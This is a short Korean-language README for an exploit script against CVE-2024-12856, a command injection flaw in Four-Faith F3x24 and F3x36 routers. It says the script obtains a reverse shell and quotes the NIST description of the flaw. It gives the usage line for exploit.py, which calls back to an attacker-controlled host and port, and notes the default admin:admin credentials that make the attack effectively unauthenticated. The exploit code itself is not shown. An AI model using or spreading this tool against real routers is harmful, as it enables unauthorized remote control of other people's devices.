CVE-2024-12856

이것은 Four-Faith 라우터 모델 F3x24 및 F3x36에서 리버스 셸을 획득하기 위한 익스플로잇입니다.

"Four-Faith 라우터 모델 F3x24 및 F3x36은 운영 체제(OS) 명령 주입 취약점의 영향을 받습니다. 최소 펌웨어 버전 2.0은 apply.cgi를 통해 시스템 시간을 수정할 때 인증된 원격 공격자가 HTTP를 통해 임의의 OS 명령을 실행할 수 있도록 허용합니다. 또한 이 펌웨어 버전에는 기본 자격 증명이 있으며, 변경되지 않은 경우 이 취약점은 사실상 인증되지 않은 원격 OS 명령 실행 문제로 바뀝니다."

출처: nist.gov

이 스크립트는 VulnCheck에서 관찰된 페이로드를 기반으로 합니다.

사용 방법

익스플로잇을 실행하기 전에 머신에서 TCP 서버를 시작하십시오.
그런 다음 실행

python exploit.py [-u USERNAME] [-p PASSWORD] [-rport REMOTE_PORT] RHOST LHOST LPORT

여기서

• RHOST는 원격 IP 주소입니다. 도메인을 추가할 수도 있습니다.
• LHOST는 머신에 있는 TCP 서버의 IP입니다.
• LPORT는 TCP 서버의 포트입니다.
• USERNAME 및 PASSWORD는 라우터의 자격 증명입니다. 기본값은 admin:admin입니다.